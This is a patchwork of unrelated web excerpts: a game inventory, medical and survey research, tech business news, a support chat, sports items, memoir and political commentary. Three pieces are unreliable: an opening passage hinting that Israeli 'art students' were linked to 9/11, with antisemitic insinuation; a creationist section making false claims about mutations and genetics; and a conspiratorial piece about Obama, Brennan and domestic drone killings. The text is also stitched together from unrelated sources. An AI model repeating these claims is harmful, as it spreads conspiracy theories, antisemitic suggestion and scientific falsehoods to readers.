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CELLMATES AT LAST W ith some 140 picked up before 9/11, and some 60-plus afterward, we have no idea how many of these "art students" were sent back to Israel to pursue their "studies." All we know is that those let go were kept for months, and others according to Fox News, those identified as Israeli agents are still in custody, perhaps sharing a nice cozy cell with detainees from Arab countries. I'm sure they have a lot to talk about…. HOW ODD T he Arab detainees, as we have seen, have been the subjects of a national controversy between civil libertarians and the Bush administration. We have John Ashcroft denouncing those who would spread the "false fear" of a police state as "aiding the terrorists," while on the other hand Arab-Americans and the ACLU are rallying opposition to the round-up. But when it comes to the Israeli detainees, there is no controversy, virtually no mention of it in the national media, no nothing. Jewish groups are not rallying to the defense of these poor defenseless "art students," held without bail and without lawyers, for the most part, in very uncomfortable and worrisome circumstances. Doesn't anybody find this odd? SUCKER PUNCH W hat's significant about this story is, first, that it amounts to the biggest spy operation in the US since the days of the Cold War, and, secondly, that it provides some context for understanding the mystery of 9/11. To most of us, that horrific event was a bolt out of the blue, with no prelude, no precedent, and no way to anticipate that the best days of our lives could turn into the worst. But the view from inside the US Government must have looked a whole lot different, i.e. far more threatening. Yet the threat seemed to be coming, not from Bin Laden, but incredibly from the Israelis, who, not content with having gained access to our phone system and federal wiretaps, were penetrating American military and government targets. Law enforcement authorities were in the midst of a massive crackdown on the Israelis, when, suddenly, they were hit from the other direction. IN THE DARK W e are being kept in the dark about so many things, these days, but this, it seems, is too important to be kept secret for long.
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I - a +0,+7 anti-magic lajatang Armour h - the +7 shield "Kluni" (worn) {rElec rC+ rN+ SInv} (You bought it in a shop on level 4 of the Orcish Mines) It protects you from cold. It insulates you from electricity. It protects you from negative energy. It enhances your eyesight. n - a +2 pair of gloves of dexterity (worn) y - a +1 hat (worn) E - a +1 pair of boots of jumping (worn) F - a +1 cloak of poison resistance (worn) Q - the +9 armour of the Dragon King (worn) {rPois rF+ rC+ MR+} (You found it on level 2 of the Depths) It protects you from fire. It protects you from cold. It protects you from poison. It affects your resistance to hostile enchantments. Magical devices b - a wand of fire (13) j - a wand of teleportation (9) D - a wand of cold (7) K - a wand of invisibility (9) N - a wand of disintegration (21) O - a wand of lightning (8) R - a wand of cold (6) Comestibles c - 7 bread rations m - 7 meat rations L - 3 rotting chunks of tengu flesh Scrolls a - 5 scrolls of immolation d - 3 scrolls of holy word o - 7 scrolls of remove curse p - 8 scrolls of teleportation s - 4 scrolls of identify w - 2 scrolls of blinking G - 4 scrolls of enchant weapon III H - a scroll of brand weapon J - 7 scrolls of enchant weapon I P - 5 scrolls of enchant weapon II Jewellery f - an amulet of guardian spirit (around neck) q - an uncursed ring of protection from cold r - an uncursed amulet of resist mutation u - a +5 ring of evasion (left hand) x - an uncursed ring of teleport control M - the ring of Gin Ebym (right hand) {rF+ rC+ Dex+2 Int+3} (You found it on level 1 of the Lair of Beasts) [ring of intelligence] It affects your intelligence (+3). It affects your dexterity (+2). It protects you from fire. It protects you from cold.
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Although some effort has been put into epidemiological surveys on physicians’ health, less information is available on physician resilience.15–18 If approximately every fifth physician is affected by burnout or other stress-related disorders,1–3 what about the other four? How do they deal with the challenges, strains, and restrictions of their professional lives? Studies of resilience available so far are based on very small samples and restricted to few disciplines. Jensen and colleagues,15 for example, conducted in-depth interviews with 17 family practitioners. They identified four main aspects of physician resilience: (1) attitudes and perspectives, which include valuing the physician role, maintaining interest, developing self-awareness, and accepting personal limitations, (2) balance and prioritization, which include setting limits, taking effective approaches to continuing professional development, and honoring the self, (3) practice management style, which includes sound business management, having good staff, and using effective practice arrangements, and (4) supportive relations, which include positive personal relationships, effective professional relationships, and good communication. Stevenson and colleagues17 also conducted semistructured interviews with 15 primary health care practitioners. Their study highlights the importance of respect and appreciation toward patients and an intellectual engagement with the work itself. Further, they demonstrated that resilient physicians recognize and celebrate small gains and show the ability to control their working hours.17 The cross-sectional survey of Keeton and colleagues19 confirms the latter: Having some control over schedule and hours worked was the strongest predictor of work–life balance and burnout.
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F. W. Franz, quoted in The Watchtower, 15 October 1966, page 231. 1970s: In this regard, however, it must be observed that this “faithful and discreet slave” was never inspired, never perfect. Those writings by certain members of the “slave” class that came to form the Christian part of God ’s Word were inspired and infallible, but that is not true of other writings since. Things published were not perfect in the days of Charles Taze Russell, first president of the Watch Tower Bible and Tract Society; nor were they perfect in the days of J. F. Rutherford, the succeeding president. The increasing light on God’s Word as well as the facts of history have repeatedly required that adjustments of one kind or another be made down to the very present time. [16] 1980s: It is not claimed that the explanations in this publication are infallible. Like Joseph of old, we say: “Do not interpretations belong to God?” (Genesis 40:8) At the same time, however, we firmly believe that the explanations set forth herein harmonize with the Bible in its entirety, showing how remarkably divine prophecy has been fulfilled in the world events of our catastrophic times. [17] 1990s: Those who make up the one true Christian organization today do not have angelic revelations or divine inspiration. But they do have the inspired Holy Scriptures, which contain revelations of God ’s thinking and will. As an organization and individually, they must accept the Bible as divine truth, study it carefully, and let it work in them. [18] 2000s: Although the slave class is defined as “faithful and discreet,” Jesus did not say that it would be infallible. This group of faithful anointed brothers still consists of imperfect Christians. Even with the best of intentions, they can be mistaken, as such men sometimes were in the first century. [19] It’s therefore quite clear that Jehovah’s Witnesses make no claim to divine inspiration for their publications. Thus, the critics' assertion that “the Watch Tower claims to be an inspired prophet” is manifestly false. Did Haydon Covington concede that the Watch Tower is a False Prophet? Did Haydon Covington concede in the Walsh trial that the Watch Tower Society has promulgated false prophecy, as is stated by critics? Even if he had done so, what would that have proved? If Covington had said that the thought the Society was a false prophet, then he would have been mistaken, that is all.
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Kids didn't sit in front of the TV (you got 1 to 2 hours of TV if lucky) and there were no computers back then. Kids were either outside playing (using their imagination) or were out with their groups of friends hanging out at their favorite cafe. There were "hot rods" and "jalopies," and the kids met at the drive-in restaurants where guys would scream around and around showing off their new re-built cars. They popped clutches and did "wheelies" or "donuts" or picked out some other guy with a hot car to drag race to gain attention. There was cruising strips to see if they could pick up girls, and four guys to a car, and you could bet there was a case of beer! Few wanted new cars, and most young guys loved to "cut and chop" old cars and would paint them cool colors (metallic) usually with lightning bolts or other designs on the side of their car. Cars that were in this condition were called simply, "cherry"! Kids did get into a bit of trouble drag-racing the streets so they would build drag strips outside of the city limits, and the races began. Kids also got into drinking beer (making complete fools of themselves) but not as often as the kids do today. They were few drugs around during this time, and it was either cigarettes or alcohol. Kids back then were lucky to get away on a camping trip, and it never entered their minds to go on trips to other countries (only a few did). Teens couldn't afford a trip and parents sure couldn't. Kids got along well in groups, and the peer pressure wasn't so great as today. The right-labeled clothes weren't even thought about. There was fashion, of course. Guys wore their jeans with cuffs rolled up (often used as ashtrays) and T-shirts with one short-sleeve rolled up for their cigarettes, and some of the "greasers" (guys with greasy hair and duck tails) would have a cigarette folded inside the tip of their ear. Girls wore sweaters with scarves around their necks, long pencil-lined skirts with a slit up the side (poodle skirts as well), and usually ponytails or beehive hair-dos. They wore bobby socks with saddle shoes or "white bucks." You were either "cool" or "square."
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To say nothing of any debts, their Q1 2016 results paint a pretty grim picture. An operating loss of $148 million, with the net loss being around $80 million may sound pretty bad, but it needs to be taken in context. This is the quarter where the A9 was about the best thing going for HTC. The HTC 10 and the Vive both officially dropped in Q2, meaning we'll need to wait until then to see just what kind of upswing we're looking at. Early reports peg the HTC 10 as selling far below expectations, and the Vive is about to break 100,000. According to TrendForce, the HTC 10 will likely sell about 1 million units this year. Sales of the Vive are likely to slow down soon, barring a drop in price. Rounding down for a conservative and easy-to-calculate estimate, let's say that HTC pockets $200 for each 10 sold, and $400 for each Vive sold. Obviously, these figures aren't exact, but for general "big picture" purposes. Now, with 1 million HTC 10 units and, let's say, 500,000 Vive units by the end of the 2016 fiscal year, we're looking at about $400 million in profit from those two devices. While HTC has other ventures out there, like low-end phones, these two flagship products will likely drive at least half of their entire year's portfolio, though they could get a boost from getting the Nexus deal. In any case, if the very rough projections here are any bit accurate, along with operating costs, HTC seems poised to barely keep their head above water for Q2, and post another loss in Q3. Without innovation and diversification, they could meet a slow decline. Put as simply as possible, unless the Vive seriously takes off or HTC makes a cheaper variant, VR alone will not save the once-great tech giant. That's not to say they don't have a chance, but at this point, they're going to have to up their game.
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When I moved to San Francisco in 2003, I found a place to live in one weekend. A property manager had three or four apartments for rent within a five-minute walk of each other in Lower Nob Hill, a dense neighborhood uphill from the Tenderloin and Union Square that was still rough around the edges at the time. It was exactly the type of neighborhood I was looking for, as my budget didn’t stretch to dining at fancy restaurants and I wanted to be within walking distance of a BART station. Ten years later I went back to look at apartments in the same neighborhood. So many people showed up to look at one miniscule $1,700-a-month studio that half of the crowd was asked to wait on the street because the grand old lobby of the post-quake apartment building wasn’t big enough to hold them. Now, a year later, prices on 350-square-foot apartments have topped $2,000 in some buildings. At another open house in 2013, in a relatively unhip western neighborhood, the realtor showing the unit asked the crowd in attendance to make offers higher than the price shown on Craigslist if they were serious about signing a lease. The lack of housing availability and affordability during the late nineties dot-com boom is legendary. No-fault evictions soared as the population of San Francisco grew and higher-paid workers in new industries moved into formerly low-cost parts of the city. After the boom ended, many people left and rental prices dropped significantly. While San Francisco was still not affordable for a lot of people, it seemed possible to live here without dot-com money. Once I accounted for the savings of not owning a car, my cost of living wasn’t much different than it had been during the previous year I’d spent living in Ohio. Yet in the second tech boom, things are even worse than they were in the late 1990s. San Francisco is now the most-expensive large city in the United States. Protests in front of tech company shuttle buses have made front-page news around the country, housing costs dominate casual conversations, and San Francisco’s already strong antidevelopment sentiment is growing angrier. Yet, common sense and a basic understanding of economics suggests that building more housing is probably the only way out of staggeringly high housing prices in the long term. In the short term, though, we’re stuck right where we are in an increasingly untenable position.
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Finally, we treated all trials as if they used randomization with a block size of 4 unless another approach was explicitly stated (except trial A1, which has a difference of 6 participants between groups meaning that block randomization is very unlikely). The distribution of differences in participant numbers between the treatment groups still differs from the expected distribution. The expected number of trials with equal participants is 22/30 and with a difference of 2 participants is 5/30, whereas the observed number of trials was 27 and 0, respectively (p = 0.04). Table 2 Participant numbers, randomization methods, hip fractures, and withdrawals in 33 randomized controlled trials by the researchers Figure 2 Distribution of differences in participant numbers between randomized groups The observed and expected distribution of participant numbers between randomized groups in 30 two-arm randomized controlled trials by the researchers. Trial A11, which was pseudorandomized, is excluded from these analyses. (A) The results from 20 trials presumed to use simple randomization, and (B) the results from 10 trials that used block randomization. The results of these separate but complementary analyses strongly suggest there has been a systematic failure of randomization in these trials because the randomized groups are much more similar than would be expected by chance, if randomization had occurred successfully. Remarkably positive outcomes. The outcomes reported by the researchers are generally extremely positive and inconsistent with contemporaneous literature. Despite studying frail elderly individuals with substantial comorbidity, table 2 shows that participant withdrawals from the trials were few in number and very well matched between treatment groups. In fact, only 519 participants (8.8%) did not complete the trials, which is surprising because participants had very high rates of hip fracture (table 2) and substantial background comorbidity, both of which are associated with high mortality. Figure 3 shows the observed reductions in hip fracture in RCTs with a control group that received either placebo or no treatment for the various treatments studied by the researchers. There were consistent and substantial reductions in hip fracture incidence regardless of the treatment studied (relative risk 0.22, 95% confidence interval 0.15–0.31, p < 0.0001, range of relative risk 0.10–0.33) with very little statistical heterogeneity between the results. This lack of heterogeneity is very surprising given the relatively large numbers of agents and the diversity of the populations studied.
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This was my life’s Harpo moment! And I did not deny myself. The regular cast on the set bought the act at first. They were a little intimidated initially by the strange foreigner and were told to be very respectful to me. Jack Nance, the innocent, who played my husband on the show, went to David and Mark at the end of the first day and said, “Boy … is that new actor weird!” I learned that suppressing laughter all day long while I stayed in character was actually physically difficult. Even if I went to a private place like the bathroom (I had a locked private one next to some offices), I could crack and ruin the makeup by laughing. So I stayed controlled, and I was too tired when I got home to whoop and holler in the wee hours. When the cast got used to me being around, they looked a little more closely and could see I was wearing very heavy makeup. Later most of the actors said they knew something was up, but they never revealed that in front of me. And no one suspected “Fumio” was me. I heard that Peggy Lipton was convinced I was Isabella Rossellini. Jack Nance and I had a number of important scenes together, but he didn’t know it was me until weeks later, when he read the “reveal” scene in his script.
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PhiladelphiaFlyers.com caught up with the Flyers captain to talk about a number of topics including winning the gold medal at the World Championships, a new head coach and his teammate’s (and linemate’s) multi-year extensions…“He called me while I was just hanging out at my place. I’m really happy for him and it’s really good for our team. I think we have some room for improvement to get even better chemistry, but I think we’ve been doing a good job of finding each other and communicating on and off the ice to know how we want to play. Jake just cares so much that every time he comes to the rink he wants to win and he’s really fun to be around.”“Obviously when guys aren’t looking for contracts there are no distractions, the guys just go and play. We’re happy with everyone on our team and how we’re building. We’re still a young team and we have so much to learn and everybody wants to learn with the new coach coming in. Last year, we learned the hard way but we’re going to be better because of that.”“Yes, he flew up to Ottawa to meet with me. It went well. I didn’t know what to expect but we had great conversations. I met him for a few hours. He’s pretty busy this summer and has a lot of things to take care of, so I think when we all come back in early September we’ll have a lot of time to communicate. He’s really excited and anytime there’s something new I think everybody starts getting excited.”“We talked about the team. How we want to be looked at and what our identity is, but for the first hour we just sat down to talk to get to know each other. I think that’s important when you spend a lot of time with your teammates and coaches. It’s good to know a little bit more about their life and there’s a point where we’re all going to find chemistry together.”“It was a really good experience. Just being able to play with those elite players was a lot of fun. The thing I was really impressed with was that I learned a lot and so did Brayden [Schenn] and Sean Couturier who came over with me. Every day you’re there to learn more, get better and it was a really big plus for us to all be there and win it together.”
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Bourgeois-democracy is best able to reflect the ideology of the market, as just as we are all equals on the market, just as we are all consumers and producers and anyone is able to make it or break it, we are all equal at the voting booth, we are all autonomous, one person, one citizen, one consumer, one vote. We are all inherently free and equal to do and decide as we please, even though the options are naturally limited. Bourgeois dominance wants to be democratic, because the bourgeois want you to want them: they have done away with all imposed hierarchy, you can choose your master, you can choose your boss. Labor will be free to gain benefits via the reformist tactics in bourgeois-democracy, and bourgeois democracy will be the easiest for the transfer of rule from the individual bourgeois to the next (that is, when x business fails x will lose political power, shifting its business success and political prowess to y, bourgeois-democracy best explains this). Labor is best sedated in an arena that appears to allow it some victory, thus labor focuses on keeping these gains instead of demanding for more, it helps to consolidate class collaboration by destroying proletarian prowess. democracy insists we ate all one nationality, not seperate classes. Democracy both ideologically supports the bourgoisie, but in practice it gives gains to try to sedate class conflict (reformism) thus materially supporting the bourgeoisie. The bourgeoisie suppress the class by trying to suppress class conflict itself: an impossibility.
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The Syrian-born head of a Stockholm mosque, Haytham Rahmeh, reportedly smuggled weapons to the rebels for 18 months. Rahmeh, a member of the Syrian National Council and a former member of the Muslim Brotherhood, was said to have bought the weapons mainly in Libya and with support from the Commission for Civilian Protection and then transported them through Turkey to Syria. In June 2013, the chief analyst[who?] at the Swedish intelligence agency[which?] expressed concern about the dangers of those returning from the fighting and noted that at least 30 Swedes were known to have fought in Syria and "many" had returned. On 27 May 2014, a Somali and two Kosovars, all Norwegian citizens from Oslo, were arrested after being suspected of supporting the ISIS. The death of Kosovar, Egzon Avdyli, who grew up in Norway was highlighted in the media as he fought for ISIS. He was also a spokesman for the Norway-based Prophet's Ummah and was said to have left for Syria earlier in the year. He "supported the establishment of an Islamic state in Norway or other Western countries." At least 50 Norwegians were thought to have traveled to Syria to fight for the Islamists, with Norwegian intelligence groups said to be concerned of the danger of them returning. In a joint operation in mid-March, Spanish and Moroccan security services targeted an al Qaeda recruiting network and arrested four suspected members in Spain and three others in Morocco. The network, whose activities extend to Morocco, Belgium, France, Tunisia, Turkey, Libya, Mali, Indonesia, and Syria, is headed by Melilla resident Mustafa Maya Amaya, who funneled recruits to the ISIS, the Al Nusrah Front and AQIM. Some of those arrested had returned home from conflict zones such as Syria; and in January, a suspected jihadist returning from Syria was arrested in Málaga as a potential "threat to national security." On 30 April, Spanish security forces, working with French police, arrested Abdelmalek Tanem, a dual Algerian-French citizen, in Almeria, who had recently returned from Syria where he worked towards facilitating integration of Europeans into the Al Nusrah Front and ISIS. On 30 May 2014, Spanish security forces arrested six people in Melilla who were involved in a network that sends fighters to al Qaeda camps in Syria, Mali, and Libya.
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Marla(15:51:03): its a link to a website, to any website Marla(15:51:13): universal resource link Wants Youtube(15:51:15): you can ping a url? Wants Youtube(15:51:43): Why can't you guys just peer with google? Wants Youtube(15:51:48): Verizon does traffic shaping. Wants Youtube(15:52:05): You can make traceroutes and pings work fine and still slow down application traffic over other ports Wants Youtube(15:52:16): traceroutes and pings are useless when they use higher layer OSI model shaping technologies Wants Youtube(15:52:54): I'd like a network engineer to review the issue. Wants Youtube(15:53:14): But of course that won't happen BECAUSE YOU GUYS ALREADY KNOW WHAT YOU'RE DOING Marla(15:54:05): The issue has been review, the only thing i can do is escalate the issue with a network tech that it will probably be denied because its a know issue with verizon Wants Youtube(15:54:15): oh so the problem is verizon Wants Youtube(15:54:20): Thank you for admitting that at least. Wants Youtube(15:55:56): So..now that we agree the issue is on Verizon's side...lets talk about what we can do about this. Marla(15:56:51): Sir i really dont know what to say, i have explain the issue and like ive said before its not something we can fix unless google does, we cant do anything Marla(15:57:11): the issue is know its being review, nothing else can be done Marla(15:57:27): until Google does something with their servers we can work Wants Youtube(15:57:31): It's not google Marla(15:58:52): You can try with other chat sessions, you can try on by the phone and its the same. You have run the trace router and ping you have seen it yourself. The resolution wont change because its outside of our boundaries. Im sorry for the problem. Marla(15:58:57): Is there anything else i can help you with? Wants Youtube(15:59:18): Yes, I'd like for Verizon to stop throttling data from youtube. Wants Youtube(15:59:36): The other chat session was my friend. He has the same issue. Wants Youtube(15:59:42): We are going to ask you people every day. Wants Youtube(15:59:51): I'm going to go on reddit and start a subreddit just for this. Wants Youtube(15:59:56): You will stop throttling our traffic. Marla(16:00:36): Sure, sorry for the trouble but you will get the same information, cause its not our issue, im sorry Wants Youtube(16:01:22): Can you provide me with a detailed explanation of the issue and what is being done to resolve it? Marla(16:03:08): Sir that info its not even provide to us.
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There are a handful of minor league free agent signings in camp fighting for a spot as well. Reid Brignac, 30, probably has the most major league experience of the bunch. A perennial top prospect who flashed some power in the Tampa Bay system after being selected in the second round in 2004, Brignac enjoyed some success in 2010. He batted .256 with eight homers and 45 RBI in 113 games during his first full season. Since then, he has hit just .189 in 208 games for Rays, Rockies, Yankees, Phillies and Marlins. Brignac can play short, second and third, but he’s a long shot to crack the 25-man roster on opening day… Nate Freiman, 29, is a 6-8, 250-pound first baseman who saw some big league time with Oakland in 2013 and 2014. He was a Rule 5 draftee from the Padres to the Astros and then claimed off waivers by the A’s. He’s turned in a .256/.309/.408 line in 301 PA, hitting nine home runs in 116 games. Freiman is coming off a season in which he hit .220 with just four homers in 79 games at Triple-A. The burly, right-handed hitter has slugged 20 or more home runs three times in his seven professional seasons and owns a .285/.356/.469 minor league line. Freiman lacks the versatility to play multiple positions, thus making his quest for a roster spot an up-hill climb with Freddie Freeman manning first base in Atlanta… Chase d’Arnaud, 29, is the older brother of Mets catcher Travis d’Arnaud, but has not enjoy the same success at the major league level. The elder d’Arnaud has seen time with the Pirates and Phillies, hitting just .205/.231/.277 in 175 PA over 75 games. A shortstop by trade, he has increased his versatility by morphing into more of a super-utility type in recent years. D’Arnaud has good speed (211 steals in 264 minor league attempts) and a good arm, but lacks any real stand-out tools. Once a Top 10 prospect after being drafted by Pittsburgh in the fourth round of the 2008 draft, he is looking to make an impression this spring or, more likely, with Gwinnett in hopes of getting back to the big leagues in 2016… A trio of Top Prospects, including SS Dansby Swanson, SS Ozzie Albies and 3B Rio Ruiz all received non-roster invitations. They will each be profiled in my Prospect Preview on February 8th.
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We contacted working professionals by e-mail with addresses provided by the university's alumni club and through personal contacts. E-mail recipients were invited to complete an online questionnaire containing measures of the IP, the Career Futures Inventory (CFI), and measures of the work-relevant outcomes (employee-relevant outcomes, OCB, continuance, and affective commitment). The study took place in Austria (Europe). It was approved by the ethics board of the university and carried out in accordance with their recommendations. All participants gave informed consent in accordance with the ethical standards of the American Psychological Association (APA). The participants were informed about the voluntary nature of participation and the confidential use of data. They were further informed that there were no right or wrong answers to the questions and that drawing any personal inferences from them would not be possible. To assure anonymity, participants were not asked for information that could identify them (e.g., names) on the questionnaire. Participants were free to withdraw at any time. Participants were also provided with the name and e-mail address of the responsible investigators. In all, 361 people opened the link, of which 238 (57% female, 43% male; M age = 37.62 years, SD = 11.43) completed the questionnaire and 123 dropped out, representing a response rate of about 66%. The mean work experience was 14.81 years (SD = 11.10). The biggest proportion of participants (45%) reported working for an employer with more than 250 employees. Seventeen percent worked for an employer with 50–249 employees, 20% with 10–49 employees, and 18% with fewer than 10 employees. Sixty percent reported having one of the following academic degrees: 18% bachelor's, 8% teacher training, 52% master's, and 22% Ph.D. Filling out the online survey took on average 19 min, 42 s (median: 16 min, 22 s). The participants did not receive any compensation for their participation in the study.
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[69] George Friedman, head of the global intelligence company Stratfor, has said Iran is "decades away" from developing any credible nuclear-arms capacity. [70]
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Chickenpox is a contagious viral illness that is caused by the varicella zoster virus. The hallmark of the disease is an itchy vesicular rash that can leave pockmarks. The virus has an airborne mode of transmission and spread when an infected individual coughs or sneezes. The disease is mild in young children but can be very severe in older individuals. Chickenpox infection during pregnancy can be devastating and can result in congenital malformation of fingers and limbs, encephalitis, microcephaly, and ultimately the death of the unborn child. In 1995, a varicella vaccination program was implemented in the United States and has become part of the routine childhood immunization schedule. One dose does not provide lifelong protection, and a second booster shot is needed five years after the first. Researchers lead by Dr. Mona Marin from the Centers for Disease Control and Prevention have recently published results showing a dramatic drop in the death rate from chickenpox as a result of the varicella vaccination program. The results of the study were published online in the journal Pediatrics. It was previously reported that the first six years of the vaccination program saw a 66% drop in the rate of death from chickenpox. The current study examined the data from the years of 2002 to 2007. National data on deaths from chickenpox was obtained from the Mortality Multiple Cause-of-Death records from the US National Center for Health Statistics. During the 12 years of the one dose vaccination program, the researchers found that the average mortality rate from varicella virus infection dropped by 88% from 0.41 per million people to 0.05 per million people. The decline in mortality occurred in all age groups but individuals younger than 20 years and younger than 50 years had an extremely high reduction, 97% and 96% respectively. The authors wrote, “The impressive decline in varicella deaths can be directly attributed to successful implementation of the 1-dose vaccination program. With the current 2-dose program, there is potential that these most severe outcomes of a vaccine-preventable disease could be eliminated”. Hopefully, in the near future chickenpox deaths can become only a distant memory of the most senior physicians in the medical field.
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The hackers obtained Zuck's account credentials from the recent LinkedIn data breach, then broke his SHA1-hashed password string, tried on his several social media accounts and successfully hacked Zuckerberg’s Twitter and Pinterest account. So, one possibility could also be that the alleged Ovh & Kimsufi database dump of over .9 Million users is made up of already available records from the previous LinkedIn, MySpace and Ovh & Kimsufi data breaches. The hacker might just have published already leaked data from other sites and services as a new hack against Ovh & Kimsufi that actually never happened. Whatever the reason is, the fact remain that hackers may have had their hands on your personal data, including your online credentials. So, it’s high time you changed your passwords for all social media sites as well as other online sites if you are using the same password.
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If an original cartoon and caption are copied 100 times prior to your receiving it, are the lines a little wavy? Are there black specks on the paper that were not on the original? Has the picture improved or gotten worse for copying? What would happen if a blind, tone-deaf person were to randomly change the tension of the strings on a perfectly tuned piano? Would the piano stay in tune? Would he ever get it back in perfect tune by random chance? These are useful examples of what happens when mutations occur. Third, mutations do not create new organs; they only modify existing ones. We have never seen a new organ appear fully developed and ready to use. We have seen existing organs become deformed and unusable through mutation. Fourth, mutations do not accumulate; that is, they do not build, or have an additive effect, one after another to form a chain of major evolutionary changes. Any change that does occur is diluted in the very next generation so that there is no long term net beneficial effect. Fifth, mutations lead to the wrong kind of change. What occurs is only the deterioration and corruption of the previous information, not the building up of information and structures. The Laws of Genetics do not fit with the random chance progressively upward increase in either intelligence or complexity which the theories of evolution would require. The Laws of Genetics were written by the Creator to maintain and preserve the information that He had encoded in the original kinds as described in Genesis Chapter One. Natural Selection and Survival of the Fittest Evolutionists claim that the driving force for the progressive upward increase in complexity and intelligence of living organisms is due to natural selection and survival of the fittest, nature red [bloody] in tooth and claw as Charles Darwin put it. Is this position correct, logical or even plausible? Natural selection was first a creationist argument! William Edward Blyth (1818-1873) in 1835, 24 years before Charles Darwin, stated that natural selection was only a conservative process that removes defective organisms and keeps species pure and strong. Dr. Thomas Huxley, M.D., and known as Darwin s Bulldog in England , chastised Darwin for not giving Blyth the credit for the concept. Even though Darwin verbally agreed with Huxley that he should have given Blyth the credit, Darwin refused to do so in print.
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He says the accusations were never proven and “it was more likely that undercover law enforcement really didn’t know who was or wasn’t an outreach worker.” More specifically: “[Safe Streets workers] passed out hundreds of Safe Streets t-shirts at several events in East Baltimore. Some people with those t-shirts did good things, some did bad things,” implying that perhaps the folks connected with the Black Guerilla Family had Safe Streets t-shirts but no official connections to the group. To correct this, he says, outreach workers now wear distinctive clothing – bright orange t-shirts in the summer, black sweatshirts or jackets that say “Safe Streets” in bright prominent lettering in the winter. “They now don’t give those items to anyone but workers,” he says. "It's a constantly changing process." Photo credit: Kevin Lamarque / Reuters
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The Walt Disney Company. How much malfeasance took place during the 12 years starting in 1993 that Disney owned Miramax, the Weinsteins’ first company? Clearly, some of the testimony coming out from various actresses, like Gwyneth Paltrow and Ashley Judd, can be connected to specific movies, so it is probable he was preying on many women during that time frame. Disney claims that Miramax had a lot of autonomy, but if any victims retained a lawyer to pursue a settlement, as Rose McGowan may have done (she did Scream with them in ’96 and is reported to have received a settlement), they likely would have threatened to file suit against not only Weinstein personally but also the company, including the parent company. That’s how these things work. Therefore, I can’t imagine that someone at Disney, if not Michael Eisner the CEO at the time, had not been informed. Even if Eisner was not in-the-loop, as he maintains, I would bet that some executive(s) were and there are files in a warehouse or on a server that would be illuminative. … NBC News. Ironically, the network that brought us To Catch a Predator let this predator go. NBC News President Noah Oppenheim has stated that they did not move forward with this story when Farrow was working on it for them because he didn’t have “the elements [they] needed to air it” and that Farrow “greatly expanded the scope of his reporting” after taking the story to The New Yorker. I was in touch with Ronan throughout the period he was working on this epic project and can say that Oppenheim’s statement does not comport with what I know. The last time that I spoke to Ronan while he was still working on this for NBC was around mid-August. At that time, he had an overwhelming amount of evidence backing his report, including many recorded interviews with women both fully on camera and also recorded in shadow. If the fact that some women Farrow interviewed didn’t want their identity revealed invalidated this story for NBC, then it also would have done so to every investigation of the mafia or South American drug cartels that I’ve ever seen. From what I can tell, Ronan had more hard evidence in August than The New York Timeshad for the article they published on Oct. 6. … The New York Times.
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In May 2012, I wrote: “The AP article “Who will drones target? Who in the US will decide?” advises: “White House counterterror [sic] chief [aka “Murder Czar] John Brennan has seized the lead in guiding the debate on which terror leaders will be targeted for drone attacks or raids, establishing a new procedure to vet both military and CIA targets.” In the past, the Joint Chiefs of Staff had substantial input into this process. Now, however, appointee-Brennan has been given (by his boss Obama) the role of holding the decision trump card(s) as to when, where and whom will be ‘taken out’ by the recently enabled and enacted drone aircrafts. One thing the AP story did not cover is the fact that the Obama-drones are now being used—nationwide—for domestic surveillance within the United States. One must—logically, I believe—surmise that it won’t be a great deal longer until Obama uses the Brennan-controlled drones for Obama’s opponents (aka “domestic enemies”). That, after all, was largely why the “domestic-enemy” NDAA bill was crafted by the Marxist pair McCain and Levin. And, now Brennan has been given license to choose who will be killed.” Other US Intelligence agencies—most notably the FBI—are now beginning to back away from CIA Brennan’s assertions of Russian interference in the recent US election. In fact, Obama has, now, requested a “probe” into the CIA assertions (C’mon…does anyone really believe it wasn’t Obama who told Brennan to make them?) of Russian hacking. BTW, hacking is entering and changing system parameters. However, leaking (which likely came from a source in the Clinton camp) is what actually occurred with Hillary’s and other Democrat operatives’ emails. To add fuel to the fire, the other “Intel” agencies who went along with Brennan’s claim are now refusing to meet with A House Committee to explain their findings due to the Obama request. Interesting timing…isn’t it? The smoke and mirrors and constant attacks from the Dems, RINOs and media will escalate throughout President Trump’s term of office. The principles of these attacks do not intend to stop. President Ronald Reagan went through something very similar to what P.E. Trump is now experiencing. However, today the attacks against Mr. Trump seem substantially worse. The reason? The Marxist Democrats and RINOs know that President Trump will actually effect what he said he would do.
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Citation: Fischer K, Kettunen J, Würtz P, Haller T, Havulinna AS, Kangas AJ, et al. (2014) Biomarker Profiling by Nuclear Magnetic Resonance Spectroscopy for the Prediction of All-Cause Mortality: An Observational Study of 17,345 Persons. PLoS Med 11(2): e1001606. https://doi.org/10.1371/journal.pmed.1001606 Academic Editor: Cosetta Minelli, Imperial College London, United Kingdom Received: June 20, 2013; Accepted: January 14, 2014; Published: February 25, 2014 Copyright: © 2014 Fischer et al. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: Supported by grants from the European Commission Seventh Framework Programme (grants no. 278913, 306031, 313010, ENGAGE HEALTH-F4-2007- 201413, BioSHaRE 261433), Estonian Research Council Grant IUT20-60, the Estonian Research Roadmap through the Estonian Ministry of Education and Research, the Center of Excellence in Genomics (EXCEGEN), the University of Tartu (SP1GVARENG), and the Estonian Science Foundation (ETF9353). This study was also supported by the Academy of Finland (139635, 137870, 250422, 251217, 266199), the Responding to Public Health Challenges Research Programme of the Academy of Finland (129322, 129429), the Academy of Finland Center of Excellence in Complex Disease Genetics (213506, 129680), the Finnish Funding Agency for Technology and Innovation, the European Foundation for the Study of Diabetes, the Jenny and Antti Wihuri Foundation, the Novo Nordisk Foundation, the Sigrid Juselius Foundation, the Finnish Foundation for Cardiovascular Research, UK Medical Research Council, Wellcome Trust UK, and via the Strategic Research Funding from the University of Oulu, Finland, and from the University of Bristol, UK. Competing interests: PW AJK PS and MAK are shareholders of Brainshake Ltd., a startup company offering NMR-based metabolite profiling. All other authors declare that no competing interests exist. Abbreviations: HDL, high-density lipoprotein; HR, hazard ratio; IDI, integrated discrimination improvement; NMR, nuclear magnetic resonance; NRI, net reclassification improvement; SD, standard deviation; VLDL, very-low-density lipoprotein
